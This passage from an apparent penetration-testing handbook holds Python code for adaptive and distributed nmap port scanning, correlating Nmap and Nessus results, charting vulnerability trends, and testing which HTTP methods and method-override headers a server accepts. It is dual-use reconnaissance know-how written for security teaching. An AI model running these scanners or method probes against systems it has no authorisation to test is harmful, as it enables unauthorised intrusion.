open_ports:\n                if port not in self.network_profiles[network]:\n                    self.network_profiles[network][port] = 1\n                else:\n                    self.network_profiles[network][port] += 1\n                    \n    def predict_ports(self, ip: str) -&gt; List[int]:\n        \"\"\"Predict likely open ports based on network patterns\"\"\"\n        \n        ip_obj = ipaddress.ip_address(ip)\n        network = str(ipaddress.ip_network(f\"{ip_obj}/24\", strict=False))\n        \n        if network not in self.network_profiles:\n            return [80, 443, 22, 21, 25, 53, 110, 143]  # Default common ports\n            \n        # Sort by frequency\n        profile = self.network_profiles[network]\n        sorted_ports = sorted(profile.items(), key=lambda x: x[1], reverse=True)\n        \n        return [port for port, count in sorted_ports[:20]]\n    \n    def adaptive_scan(self, target: str, initial_scan: bool = True):\n        \"\"\"Adapt scan based on initial findings\"\"\"\n        \n        if initial_scan:\n            # Quick initial scan\n            ports = self.predict_ports(target)[:5]  # Top 5 predicted ports\n            \n            # Perform quick scan\n            quick_results = self.quick_scan(target, ports)\n            \n            # Analyze results to determine next steps\n            if self.is_web_server(quick_results):\n                # Deep web scan\n                return self.deep_web_scan(target)\n            elif self.is_database_server(quick_results):\n                # Database-focused scan\n                return self.database_scan(target)\n            else:\n                # Standard comprehensive scan\n                return self.comprehensive_scan(target)\n        else:\n            # Full scan based on learned patterns\n            all_predicted = self.predict_ports(target)\n            return self.full_scan(target, all_predicted)\n    \n    def quick_scan(self, target: str, ports: List[int]) -&gt; Dict:\n        \"\"\"Perform quick scan on specified ports\"\"\"\n        print(f\"[*] Quick scanning {target} on ports {ports}\")\n        \n        import nmap\n        nm = nmap.PortScanner()\n        \n        port_str = ','.join(map(str, ports))\n        nm.scan(target, port_str, arguments='-sS -T4')\n        \n        return nm[target] if target in nm else {}\n    \n    def is_web_server(self, scan_results: Dict) -&gt; bool:\n        \"\"\"Determine if target is a web server\"\"\"\n        web_ports = [80, 443, 8080, 8443]\n        \n        for port in web_ports:\n            if port in scan_results.get('tcp', {}):\n                service = scan_results['tcp'][port].get('name', '')\n                if 'http' in service or 'www' in service:\n                    return True\n        return False\n    \n    def is_database_server(self, scan_results: Dict) -&gt; bool:\n        \"\"\"Determine if target is a database server\"\"\"\n        db_ports = {\n            3306: 'mysql',\n            5432: 'postgresql',\n            1521: 'oracle',\n            1433: 'mssql',\n            27017: 'mongodb'\n        }\n        \n        for port, db_type in db_ports.items():\n            if port in scan_results.get('tcp', {}):\n                service = scan_results['tcp'][port].get('name', '')\n                if db_type in service:\n                    return True\n        return False\n    \n    def deep_web_scan(self, target: str) -&gt; Dict:\n        \"\"\"Perform deep web application scan\"\"\"\n        print(f\"[*] Performing deep web scan on {target}\")\n        \n        # Use specialized web scanners\n        web_results = {\n            'nikto': self.run_nikto(target),\n            'whatweb': self.run_whatweb(target),\n            'dirb': self.run_dirb(target),\n            'wapiti': self.run_wapiti(target)\n        }\n        \n        return web_results\n    \n    def database_scan(self, target: str) -&gt; Dict:\n        \"\"\"Perform database-focused scan\"\"\"\n        print(f\"[*] Performing database scan on {target}\")\n        \n        db_results = {\n            'version_scan': self.database_version_check(target),\n            'default_creds': self.check_default_credentials(target),\n            'sql_scan': self.run_sqlmap(target)\n        }\n        \n        return db_results\n    \n    def comprehensive_scan(self, target: str) -&gt; Dict:\n        \"\"\"Perform comprehensive system scan\"\"\"\n        print(f\"[*] Performing comprehensive scan on {target}\")\n        \n        import nmap\n        nm = nmap.PortScanner()\n        \n        # Full port scan with version detection and default scripts\n        nm.scan(target, arguments='-sS -sV -sC -O -p- --min-rate 1000')\n        \n        return nm[target] if target in nm else {}\n    \n    # Placeholder methods for external tools\n    def run_nikto(self, target): return {\"status\": \"placeholder\"}\n    def run_whatweb(self, target): return {\"status\": \"placeholder\"}\n    def run_dirb(self, target): return {\"status\": \"placeholder\"}\n    def run_wapiti(self, target): return {\"status\": \"placeholder\"}\n    def database_version_check(self, target): return {\"status\": \"placeholder\"}\n    def check_default_credentials(self, target): return {\"status\": \"placeholder\"}\n    def run_sqlmap(self, target): return {\"status\": \"placeholder\"}\n    def full_scan(self, target, ports): return {\"status\": \"placeholder\"}\n\n# Example usage\nscanner = IntelligentScanner()\n# After initial scan\nscanner.learn_network_patterns({\n    '192.168.1.100': {'open_ports': [80, 443, 22]},\n    '192.168.1.101': {'open_ports': [80, 3306]}\n})\n\n# Adaptive scan for new host\nresults = scanner.adaptive_scan('192.168.1.102')\nprint(json.dumps(results, indent=2))\n```\n\n#### 11.3.2 Distributed Scanning\n\n```python\n#!/usr/bin/env python3\n# distributed_scan.py\n\nimport socket\nimport json\nimport threading\nimport queue\nimport time\nfrom typing import List, Dict\n\nclass ScanWorker:\n    def __init__(self, worker_id, controller_host, controller_port):\n        self.worker_id = worker_id\n        self.controller_host = controller_host\n        self.controller_port = controller_port\n        self.running = True\n        self.task_queue = queue.Queue()\n        self.results_queue = queue.Queue()\n        \n    def register_with_controller(self):\n        \"\"\"Register this worker with the controller\"\"\"\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.connect((self.controller_host, self.controller_port))\n            \n            registration = {\n                'type': 'register',\n                'worker_id': self.worker_id,\n                'capabilities': ['nmap', 'masscan', 'nikto']\n            }\n            sock.send(json.dumps(registration).encode())\n            sock.close()\n        except Exception as e:\n            print(f\"Registration failed: {e}\")\n            \n    def get_task(self):\n        \"\"\"Get next task from controller\"\"\"\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.connect((self.controller_host, self.controller_port))\n            \n            request = {\n                'type': 'get_task',\n                'worker_id': self.worker_id\n            }\n            sock.send(json.dumps(request).encode())\n            \n            response = sock.recv(8192).decode()\n            sock.close()\n            \n            return json.loads(response)\n        except Exception as e:\n            print(f\"Error getting task: {e}\")\n            return None\n            \n    def submit_result(self, task_id, result):\n        \"\"\"Submit scan result to controller\"\"\"\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.connect((self.controller_host, self.controller_port))\n            \n            submission = {\n                'type': 'submit_result',\n                'worker_id': self.worker_id,\n                'task_id': task_id,\n                'result': result\n            }\n            sock.send(json.dumps(submission).encode())\n            sock.close()\n        except Exception as e:\n            print(f\"Error submitting result: {e}\")\n            \n    def execute_task(self, task):\n        \"\"\"Execute a scan task\"\"\"\n        task_type = task.get('type')\n        target = task.get('target')\n        \n        if task_type == 'port_scan':\n            return self.execute_port_scan(target, task.get('ports', '1-1000'))\n        elif task_type == 'vuln_scan':\n            return self.execute_vuln_scan(target, task.get('ports'))\n        elif task_type == 'web_scan':\n            return self.execute_web_scan(target)\n        else:\n            return {'error': 'Unknown task type'}\n            \n    def execute_port_scan(self, target, ports):\n        \"\"\"Execute port scan\"\"\"\n        import nmap\n        nm = nmap.PortScanner()\n        \n        try:\n            nm.scan(target, ports, arguments='-sS -T4 --min-rate 500')\n            result = {}\n            \n            if target in nm.all_hosts():\n                host = nm[target]\n                result['status'] = 'up'\n                result['hostnames'] = host.hostnames()\n                result['ports'] = []\n                \n                for proto in host.all_protocols():\n                    ports = host[proto].keys()\n                    for port in ports:\n                        result['ports'].append({\n                            'port': port,\n                            'state': host[proto][port]['state'],\n                            'name': host[proto][port]['name']\n                        })\n            else:\n                result['status'] = 'down'\n                \n            return result\n        except Exception as e:\n            return {'error': str(e)}\n            \n    def execute_vuln_scan(self, target, ports):\n        \"\"\"Execute vulnerability scan\"\"\"\n        # Simplified vulnerability scan\n        return {'scan_type': 'vuln', 'target': target, 'results': []}\n        \n    def execute_web_scan(self, target):\n        \"\"\"Execute web application scan\"\"\"\n        # Simplified web scan\n        return {'scan_type': 'web', 'target': target, 'results': []}\n        \n    def run(self):\n        \"\"\"Main worker loop\"\"\"\n        self.register_with_controller()\n        \n        while self.running:\n            task = self.get_task()\n            \n            if task and task.get('type') != 'no_task':\n                print(f\"[Worker {self.worker_id}] Executing task {task.get('task_id')}\")\n                result = self.execute_task(task)\n                self.submit_result(task.get('task_id'), result)\n            else:\n                time.sleep(5)  # Wait before checking for new tasks\n\nclass ScanController:\n    def __init__(self, host='0.0.0.0', port=5555):\n        self.host = host\n        self.port = port\n        self.workers = {}\n        self.tasks = {}\n        self.results = {}\n        self.next_task_id = 1\n        \n    def start(self):\n        \"\"\"Start the controller server\"\"\"\n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.bind((self.host, self.port))\n        server.listen(10)\n        \n        print(f\"[Controller] Listening on {self.host}:{self.port}\")\n        \n        while True:\n            client, addr = server.accept()\n            data = client.recv(8192).decode()\n            \n            if data:\n                try:\n                    request = json.loads(data)\n                    response = self.handle_request(request, addr)\n                    if response:\n                        client.send(json.dumps(response).encode())\n                except Exception as e:\n                    print(f\"Error handling request: {e}\")\n                    \n            client.close()\n            \n    def handle_request(self, request, addr):\n        \"\"\"Handle worker requests\"\"\"\n        request_type = request.get('type')\n        \n        if request_type == 'register':\n            worker_id = request.get('worker_id')\n            self.workers[worker_id] = {\n                'address': addr[0],\n                'capabilities': request.get('capabilities', []),\n                'last_seen': time.time(),\n                'tasks_assigned': []\n            }\n            print(f\"[Controller] Worker {worker_id} registered\")\n            return {'status': 'registered'}\n            \n        elif request_type == 'get_task':\n            worker_id = request.get('worker_id')\n            \n            # Find next available task\n            for task_id, task in self.tasks.items():\n                if task['status'] == 'pending':\n                    task['status'] = 'assigned'\n                    task['worker'] = worker_id\n                    self.workers[worker_id]['tasks_assigned'].append(task_id)\n                    \n                    return {\n                        'task_id': task_id,\n                        'type': task['type'],\n                        'target': task['target'],\n                        'ports': task.get('ports')\n                    }\n                    \n            return {'type': 'no_task'}\n            \n        elif request_type == 'submit_result':\n            worker_id = request.get('worker_id')\n            task_id = request.get('task_id')\n            result = request.get('result')\n            \n            self.results[task_id] = {\n                'worker': worker_id,\n                'result': result,\n                'completed': time.time()\n            }\n            \n            if task_id in self.tasks:\n                self.tasks[task_id]['status'] = 'completed'\n                \n            print(f\"[Controller] Received result for task {task_id}\")\n            return {'status': 'received'}\n            \n    def add_task(self, task_type, target, ports=None):\n        \"\"\"Add a new scan task\"\"\"\n        task_id = str(self.next_task_id)\n        self.next_task_id += 1\n        \n        self.tasks[task_id] = {\n            'task_id': task_id,\n            'type': task_type,\n            'target': target,\n            'ports': ports,\n            'status': 'pending',\n            'added': time.time()\n        }\n        \n        return task_id\n        \n    def distribute_scan(self, targets: List[str], scan_type: str = 'port_scan'):\n        \"\"\"Distribute scan tasks across workers\"\"\"\n        task_ids = []\n        \n        for target in targets:\n            task_id = self.add_task(scan_type, target)\n            task_ids.append(task_id)\n            \n        # Wait for all tasks to complete\n        while True:\n            completed = 0\n            for task_id in task_ids:\n                if task_id in self.results:\n                    completed += 1\n                    \n            if completed == len(task_ids):\n                break\n                \n            time.sleep(2)\n            \n        # Collect results\n        scan_results = {}\n        for task_id in task_ids:\n            result = self.results.get(task_id)\n            if result:\n                task = self.tasks[task_id]\n                scan_results[task['target']] = result['result']\n                \n        return scan_results\n\n# Example usage - Controller\nif __name__ == \"__main__\":\n    import sys\n    \n    if sys.argv[1] == 'controller':\n        controller = ScanController()\n        controller.start()\n        \n    elif sys.argv[1] == 'worker':\n        worker = ScanWorker(sys.argv[2], sys.argv[3], int(sys.argv[4]))\n        worker.run()\n```\n\n### 11.4 Report Analysis\n\nAnalyzing scanner output to extract meaningful findings and prioritize remediation.\n\n#### 11.4.1 Multi-Scanner Correlation\n\n```python\n#!/usr/bin/env python3\n# scanner_correlation.py\n\nimport json\nimport xml.etree.ElementTree as ET\nfrom typing import Dict, List\nimport hashlib\n\nclass ScanResultCorrelator:\n    def __init__(self):\n        self.results = {}\n        self.correlated_findings = {}\n        \n    def load_nmap_xml(self, filename: str) -&gt; Dict:\n        \"\"\"Load and parse Nmap XML output\"\"\"\n        try:\n            tree = ET.parse(filename)\n            root = tree.getroot()\n            \n            hosts = []\n            for host in root.findall('host'):\n                host_info = {'ip': None, 'ports': [], 'os': [], 'hostnames': []}\n                \n                # Get IP\n                address = host.find('address')\n                if address is not None and address.get('addrtype') == 'ipv4':\n                    host_info['ip'] = address.get('addr')\n                    \n                # Get hostnames\n                for hostname in host.findall('hostnames/hostname'):\n                    host_info['hostnames'].append(hostname.get('name'))\n                    \n                # Get ports\n                for port in host.findall('ports/port'):\n                    port_info = {\n                        'portid': port.get('portid'),\n                        'protocol': port.get('protocol'),\n                        'state': port.find('state').get('state'),\n                        'service': port.find('service').get('name') if port.find('service') is not None else None\n                    }\n                    host_info['ports'].append(port_info)\n                    \n                # Get OS\n                for os in host.findall('os/osmatch'):\n                    host_info['os'].append(os.get('name'))\n                    \n                hosts.append(host_info)\n                \n            return {'tool': 'nmap', 'hosts': hosts}\n        except Exception as e:\n            print(f\"Error loading Nmap XML: {e}\")\n            return {}\n            \n    def load_nessus_xml(self, filename: str) -&gt; Dict:\n        \"\"\"Load and parse Nessus XML output\"\"\"\n        try:\n            tree = ET.parse(filename)\n            root = tree.getroot()\n            \n            findings = []\n            for report_host in root.findall('.//ReportHost'):\n                host_info = {\n                    'name': report_host.get('name'),\n                    'findings': []\n                }\n                \n                for item in report_host.findall('ReportItem'):\n                    finding = {\n                        'plugin_id': item.get('pluginID'),\n                        'plugin_name': item.get('pluginName'),\n                        'severity': item.get('severity'),\n                        'port': item.get('port'),\n                        'protocol': item.get('protocol'),\n                        'description': item.findtext('description'),\n                        'solution': item.findtext('solution'),\n                        'cvss_base': item.findtext('cvss_base_score')\n                    }\n                    host_info['findings'].append(finding)\n                    \n                findings.append(host_info)\n                \n            return {'tool': 'nessus', 'findings': findings}\n        except Exception as e:\n            print(f\"Error loading Nessus XML: {e}\")\n            return {}\n            \n    def load_openvas_xml(self, filename: str) -&gt; Dict:\n        \"\"\"Load and parse OpenVAS XML output\"\"\"\n        # Similar to Nessus parsing\n        return {}\n        \n    def correlate_findings(self):\n        \"\"\"Correlate findings from multiple scanners\"\"\"\n        \n        correlated = {}\n        \n        for source, data in self.results.items():\n            tool = data.get('tool')\n            \n            if tool == 'nmap':\n                for host in data.get('hosts', []):\n                    host_key = host['ip'] or host['hostnames'][0] if host['hostnames'] else 'unknown'\n                    \n                    if host_key not in correlated:\n                        correlated[host_key] = {\n                            'ip': host['ip'],\n                            'hostnames': host['hostnames'],\n                            'ports': {},\n                            'vulnerabilities': [],\n                            'sources': []\n                        }\n                        \n                    # Add ports\n                    for port in host['ports']:\n                        if port['state'] == 'open':\n                            port_key = f\"{port['portid']}/{port['protocol']}\"\n                            correlated[host_key]['ports'][port_key] = {\n                                'service': port['service'],\n                                'source': 'nmap'\n                            }\n                            \n                    correlated[host_key]['sources'].append('nmap')\n                    \n            elif tool == 'nessus':\n                for host in data.get('findings', []):\n                    host_key = host['name']\n                    \n                    if host_key not in correlated:\n                        correlated[host_key] = {\n                            'ip': host_key,\n                            'hostnames': [],\n                            'ports': {},\n                            'vulnerabilities': [],\n                            'sources': []\n                        }\n                        \n                    # Add vulnerabilities\n                    for finding in host['findings']:\n                        if int(finding.get('severity', 0)) &gt;= 3:  # High or Critical\n                            vuln_key = self.create_vuln_id(finding)\n                            \n                            vuln_info = {\n                                'plugin_name': finding['plugin_name'],\n                                'severity': finding['severity'],\n                                'description': finding['description'],\n                                'solution': finding['solution'],\n                                'cvss': finding['cvss_base'],\n                                'source': 'nessus'\n                            }\n                            \n                            correlated[host_key]['vulnerabilities'].append(vuln_info)\n                            \n                            # Add port info if available\n                            if finding.get('port'):\n                                port_key = f\"{finding['port']}/{finding['protocol']}\"\n                                if port_key not in correlated[host_key]['ports']:\n                                    correlated[host_key]['ports'][port_key] = {\n                                        'service': None,\n                                        'source': 'nessus'\n                                    }\n                                    \n                    correlated[host_key]['sources'].append('nessus')\n                    \n        self.correlated_findings = correlated\n        return correlated\n    \n    def create_vuln_id(self, finding):\n        \"\"\"Create unique ID for vulnerability\"\"\"\n        vuln_string = f\"{finding.get('plugin_name')}{finding.get('description')}\"\n        return hashlib.md5(vuln_string.encode()).hexdigest()[:8]\n    \n    def generate_consolidated_report(self):\n        \"\"\"Generate consolidated report from all scanners\"\"\"\n        \n        report = {\n            'summary': {\n                'total_hosts': len(self.correlated_findings),\n                'total_vulnerabilities': 0,\n                'vulnerabilities_by_severity': {'Critical': 0, 'High': 0, 'Medium': 0, 'Low': 0},\n                'scanners_used': set()\n            },\n            'hosts': []\n        }\n        \n        for host_key, host_data in self.correlated_findings.items():\n            host_summary = {\n                'host': host_key,\n                'ip': host_data['ip'],\n                'hostnames': host_data['hostnames'],\n                'open_ports': len(host_data['ports']),\n                'vulnerabilities': len(host_data['vulnerabilities']),\n                'scanners': host_data['sources'],\n                'port_list': host_data['ports'],\n                'vulnerability_list': host_data['vulnerabilities']\n            }\n            \n            report['hosts'].append(host_summary)\n            report['summary']['total_vulnerabilities'] += len(host_data['vulnerabilities'])\n            \n            # Count by severity\n            for vuln in host_data['vulnerabilities']:\n                severity = vuln.get('severity', '0')\n                if severity == '4':\n                    report['summary']['vulnerabilities_by_severity']['Critical'] += 1\n                elif severity == '3':\n                    report['summary']['vulnerabilities_by_severity']['High'] += 1\n                elif severity == '2':\n                    report['summary']['vulnerabilities_by_severity']['Medium'] += 1\n                elif severity == '1':\n                    report['summary']['vulnerabilities_by_severity']['Low'] += 1\n                    \n            for scanner in host_data['sources']:\n                report['summary']['scanners_used'].add(scanner)\n                \n        # Convert set to list for JSON serialization\n        report['summary']['scanners_used'] = list(report['summary']['scanners_used'])\n        \n        return report\n    \n    def save_correlated_report(self, filename: str):\n        \"\"\"Save correlated report to file\"\"\"\n        report = self.generate_consolidated_report()\n        \n        with open(filename, 'w') as f:\n            json.dump(report, f, indent=2)\n            \n        print(f\"[+] Correlated report saved to {filename}\")\n        return report\n\n# Example usage\ncorrelator = ScanResultCorrelator()\ncorrelator.results['nmap'] = correlator.load_nmap_xml('nmap_scan.xml')\ncorrelator.results['nessus'] = correlator.load_nessus_xml('nessus_scan.nessus')\n\ncorrelator.correlate_findings()\nreport = correlator.save_correlated_report('correlated_scan_results.json')\n```\n\n#### 11.4.2 Trend Analysis\n\n```python\n#!/usr/bin/env python3\n# trend_analysis.py\n\nimport json\nimport datetime\nfrom collections import defaultdict\nimport matplotlib.pyplot as plt\n\nclass VulnerabilityTrendAnalyzer:\n    def __init__(self):\n        self.scan_history = []\n        \n    def add_scan_result(self, scan_date, results):\n        \"\"\"Add scan result to history\"\"\"\n        self.scan_history.append({\n            'date': scan_date,\n            'results': results\n        })\n        \n        # Keep sorted by date\n        self.scan_history.sort(key=lambda x: x['date'])\n        \n    def analyze_trends(self):\n        \"\"\"Analyze vulnerability trends over time\"\"\"\n        \n        trends = {\n            'dates': [],\n            'total_vulns': [],\n            'critical': [],\n            'high': [],\n            'medium': [],\n            'low': [],\n            'hosts_scanned': []\n        }\n        \n        for scan in self.scan_history:\n            trends['dates'].append(scan['date'])\n            \n            results = scan['results']\n            \n            # Count vulnerabilities\n            critical = 0\n            high = 0\n            medium = 0\n            low = 0\n            \n            for host in results.get('hosts', []):\n                for vuln in host.get('vulnerability_list', []):\n                    severity = vuln.get('severity', '0')\n                    if severity == '4':\n                        critical += 1\n                    elif severity == '3':\n                        high += 1\n                    elif severity == '2':\n                        medium += 1\n                    elif severity == '1':\n                        low += 1\n                        \n            trends['critical'].append(critical)\n            trends['high'].append(high)\n            trends['medium'].append(medium)\n            trends['low'].append(low)\n            trends['total_vulns'].append(critical + high + medium + low)\n            trends['hosts_scanned'].append(len(results.get('hosts', [])))\n            \n        return trends\n    \n    def calculate_metrics(self, trends):\n        \"\"\"Calculate trend metrics\"\"\"\n        \n        metrics = {}\n        \n        if len(trends['dates']) &gt;= 2:\n            # Calculate changes\n            first = trends['total_vulns'][0]\n            last = trends['total_vulns'][-1]\n            change = last - first\n            percent_change = (change / first * 100) if first &gt; 0 else 0\n            \n            metrics['total_change'] = {\n                'absolute': change,\n                'percentage': round(percent_change, 1)\n            }\n            \n            # Calculate average per scan\n            metrics['average_vulns'] = sum(trends['total_vulns']) / len(trends['total_vulns'])\n            \n            # Calculate trend direction\n            if len(trends['total_vulns']) &gt; 2:\n                # Simple linear regression for direction\n                x = list(range(len(trends['total_vulns'])))\n                y = trends['total_vulns']\n                \n                n = len(x)\n                slope = (n * sum(x[i]*y[i] for i in range(n)) - sum(x)*sum(y)) / \\\n                        (n * sum(x[i]**2 for i in range(n)) - sum(x)**2)\n                        \n                metrics['trend_direction'] = 'increasing' if slope &gt; 0 else 'decreasing' if slope &lt; 0 else 'stable'\n                metrics['trend_slope'] = round(slope, 2)\n                \n        return metrics\n    \n    def generate_trend_report(self):\n        \"\"\"Generate trend analysis report\"\"\"\n        \n        trends = self.analyze_trends()\n        metrics = self.calculate_metrics(trends)\n        \n        report = {\n            'analysis_period': {\n                'start': trends['dates'][0] if trends['dates'] else None,\n                'end': trends['dates'][-1] if trends['dates'] else None,\n                'scans_conducted': len(trends['dates'])\n            },\n            'trends': trends,\n            'metrics': metrics,\n            'observations': []\n        }\n        \n        # Generate observations\n        if metrics.get('total_change', {}).get('percentage', 0) &lt; -10:\n            report['observations'].append(\"Vulnerability count has decreased significantly, indicating effective remediation.\")\n        elif metrics.get('total_change', {}).get('percentage', 0) &gt; 10:\n            report['observations'].append(\"Vulnerability count has increased, investigate root causes.\")\n            \n        if trends['critical'][-1] &gt; trends['critical'][0]:\n            report['observations'].append(\"Critical vulnerabilities are increasing - prioritize remediation.\")\n            \n        return report\n    \n    def plot_trends(self, output_file='trends.png'):\n        \"\"\"Generate trend visualization\"\"\"\n        \n        trends = self.analyze_trends()\n        \n        plt.figure(figsize=(12, 8))\n        \n        # Plot total vulnerabilities\n        plt.subplot(2, 2, 1)\n        plt.plot(trends['dates'], trends['total_vulns'], marker='o')\n        plt.title('Total Vulnerabilities Over Time')\n        plt.xticks(rotation=45)\n        plt.grid(True)\n        \n        # Plot by severity\n        plt.subplot(2, 2, 2)\n        plt.plot(trends['dates'], trends['critical'], marker='o', color='red', label='Critical')\n        plt.plot(trends['dates'], trends['high'], marker='o', color='orange', label='High')\n        plt.plot(trends['dates'], trends['medium'], marker='o', color='yellow', label='Medium')\n        plt.plot(trends['dates'], trends['low'], marker='o', color='green', label='Low')\n        plt.title('Vulnerabilities by Severity')\n        plt.xticks(rotation=45)\n        plt.legend()\n        plt.grid(True)\n        \n        # Plot hosts scanned\n        plt.subplot(2, 2, 3)\n        plt.bar(trends['dates'], trends['hosts_scanned'])\n        plt.title('Hosts Scanned')\n        plt.xticks(rotation=45)\n        plt.grid(True)\n        \n        # Plot vulnerability density\n        plt.subplot(2, 2, 4)\n        density = [v/h for v, h in zip(trends['total_vulns'], trends['hosts_scanned'])]\n        plt.plot(trends['dates'], density, marker='o', color='purple')\n        plt.title('Vulnerabilities per Host')\n        plt.xticks(rotation=45)\n        plt.grid(True)\n        \n        plt.tight_layout()\n        plt.savefig(output_file)\n        plt.close()\n        \n        print(f\"[+] Trend plot saved to {output_file}\")\n\n# Example usage\nanalyzer = VulnerabilityTrendAnalyzer()\n\n# Add historical scan data\nanalyzer.add_scan_result('2024-01-01', {'hosts': [{'vulnerability_list': [{'severity': '4'}, {'severity': '3'}]}]})\nanalyzer.add_scan_result('2024-02-01', {'hosts': [{'vulnerability_list': [{'severity': '4'}, {'severity': '4'}]}]})\nanalyzer.add_scan_result('2024-03-01', {'hosts': [{'vulnerability_list': [{'severity': '4'}]}]})\n\nreport = analyzer.generate_trend_report()\nprint(json.dumps(report, indent=2))\nanalyzer.plot_trends('vuln_trends.png')\n```\n\n---\n\n# PART V \u2014 WEB APPLICATION SECURITY\n\n## Chapter 12 \u2014 Web Fundamentals\n\nUnderstanding the fundamentals of web technologies is essential for effective web application security testing. This chapter covers the core protocols, architectures, and technologies that power modern web applications.\n\n### 12.1 HTTP/HTTPS Internals\n\nHypertext Transfer Protocol (HTTP) is the foundation of data communication on the World Wide Web. Understanding its intricacies is crucial for identifying vulnerabilities and exploiting web applications.\n\n#### 12.1.1 HTTP Protocol Structure\n\n**HTTP Request Structure**:\n\n```http\nGET /page.html HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\n```\n\n**HTTP Response Structure**:\n\n```http\nHTTP/1.1 200 OK\nDate: Mon, 23 Sep 2024 12:00:00 GMT\nServer: Apache/2.4.41 (Ubuntu)\nContent-Type: text/html; charset=UTF-8\nContent-Length: 1234\nConnection: close\n\n\n\n\n    Example Page\n\n\n    \nHello, World!\n\n\n```\n\n**HTTP Methods**:\n\n```python\n#!/usr/bin/env python3\n# http_methods.py\n\nimport requests\nfrom urllib.parse import urljoin\n\nclass HTTPMethodTester:\n    def __init__(self, base_url):\n        self.base_url = base_url\n        self.session = requests.Session()\n        self.results = {}\n        \n    def test_method(self, method, path=\"\"):\n        \"\"\"Test specific HTTP method\"\"\"\n        url = urljoin(self.base_url, path)\n        \n        try:\n            if method == 'GET':\n                response = self.session.get(url)\n            elif method == 'POST':\n                response = self.session.post(url, data={'test': 'data'})\n            elif method == 'PUT':\n                response = self.session.put(url, data={'test': 'data'})\n            elif method == 'DELETE':\n                response = self.session.delete(url)\n            elif method == 'HEAD':\n                response = self.session.head(url)\n            elif method == 'OPTIONS':\n                response = self.session.options(url)\n            elif method == 'PATCH':\n                response = self.session.patch(url, data={'test': 'data'})\n            elif method == 'TRACE':\n                response = self.session.request('TRACE', url)\n            else:\n                return None\n                \n            return {\n                'status_code': response.status_code,\n                'headers': dict(response.headers),\n                'body_length': len(response.text) if response.text else 0\n            }\n        except Exception as e:\n            return {'error': str(e)}\n    \n    def enumerate_methods(self, path=\"\"):\n        \"\"\"Enumerate allowed HTTP methods\"\"\"\n        methods = ['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS', 'PATCH', 'TRACE']\n        \n        print(f\"[*] Testing HTTP methods on {self.base_url}{path}\")\n        \n        for method in methods:\n            result = self.test_method(method, path)\n            self.results[method] = result\n            \n            if result and 'status_code' in result:\n                status = result['status_code']\n                if status == 200:\n                    print(f\"  [+] {method}: {status} - Allowed\")\n                elif status == 403:\n                    print(f\"  [-] {method}: {status} - Forbidden\")\n                elif status == 405:\n                    print(f\"  [-] {method}: {status} - Method Not Allowed\")\n                elif status == 501:\n                    print(f\"  [-] {method}: {status} - Not Implemented\")\n                else:\n                    print(f\"  [?] {method}: {status} - Unexpected response\")\n            else:\n                print(f\"  [!] {method}: Error - {result.get('error', 'Unknown')}\")\n        \n        # Check OPTIONS response for allowed methods\n        if 'OPTIONS' in self.results:\n            options_headers = self.results['OPTIONS'].get('headers', {})\n            allowed = options_headers.get('Allow', '')\n            if allowed:\n                print(f\"\\n[+] Server reports allowed methods: {allowed}\")\n        \n        return self.results\n    \n    def test_method_override(self):\n        \"\"\"Test HTTP method override techniques\"\"\"\n        \n        override_headers = [\n            'X-HTTP-Method-Override',\n            'X-HTTP-Method',\n            'X-Method-Override'\n        ]\n        \n        print(\"\\n[*] Testing method override headers\")\n        \n        for header in override_headers:\n            url = urljoin(self.base_url, '/')\n            \n            try:\n                # Send POST with override header to simulate PUT\n                response = self.session.post(\n                    url,\n                    data={'test': 'data'},\n                    headers={header: 'PUT'}\n                )\n                \n                print(f\"  [+] {header}: {response.status_code}\")\n                \n                # Try DELETE override\n                response = self.session.post(\n                    url,\n                    data={'test': 'data'},\n                    headers={header: 'DELETE'}\n                )\n                \n                print(f\"  [+] {header} (DELETE): {response.status_code}\")\n                \n            except Exception as e:\n                print(f\"  [-] {header}: Error - {e}\")\n\n# Example usage\ntester = HTTPMethodTester('http://example.com')\ntester.enumerate_methods('/api/users')\ntester.test_method_override()\n```\n\n**HTTP Status Codes**:\n\n```python\n#!/usr/bin/env python3\n# status_codes.py\n\nclass HTTPStatusAnalyzer:\n    def __init__(self):\n        self.status_categories = {\n            '1xx': 'Informational',\n            '2xx': 'Success',\n            '3xx': 'Redirection',\n            '4xx': 'Client Error',\n            '5xx': 'Server Error'\n        }\n        \n        self.common_codes = {\n            # Success\n            200: 'OK',\n            201: 'Created',\n            202: 'Accepted',\n            204: 'No Content',\n            \n            # Redirection\n            301: 'Moved Permanently',\n            302: 'Found (Temporary Redirect)',\n            304: 'Not Modified',\n            307: 'Temporary Redirect',\n            308: 'Permanent Redirect',\n            \n            # Client Errors\n            400: 'Bad Request',\n            401: 'Unauthorized',\n            403: 'Forbidden',\n            404: 'Not Found',\n            405: 'Method Not Allowed',\n            429: 'Too Many Requests',\n            \n            # Server Errors\n            500: 'Internal Server Error',\n            502: 'Bad Gateway',\n            503: 'Service Unavailable',\n            504: 'Gateway Timeout'\n        }\n        \n    def analyze_response(self, response):\n        \"\"\"Analyze HTTP response status code\"\"\"\n        \n        status_code = response.status_code\n        category = f\"{status_code // 100}xx\"\n        \n        analysis = {\n            'status_code': status_code,\n            'category': self.status_categories.get(category, 'Unknown'),\n            'meaning': self.common_codes.get(status_code, 'Unknown Code'),\n            'security_implications': []\n        }\n        \n        # Security implications based on status code\n        if status_code == 200:\n            if len(response.content) == 0:\n                analysis['security_implications'].append(\"Empty 200 response - possible injection?\")\n                \n        elif status_code == 301 or status_code == 302:\n            location = response.headers.get('Location', '')\n            if 'http:' in location and 'https' not in location:\n                analysis['security_implications'].append(\"Redirect to HTTP from HTTPS - possible MITM\")\n                \n        elif status_code == 401 or status_code == 403:\n            # Check for information disclosure in error pages\n            if len(response.content) &gt; 1000:\n                analysis['security_implications'].append(\"Verbose error page may disclose information\")\n                \n        elif status_code == 404:\n            if '404' not in response.text and 'Not Found' not in response.text:\n                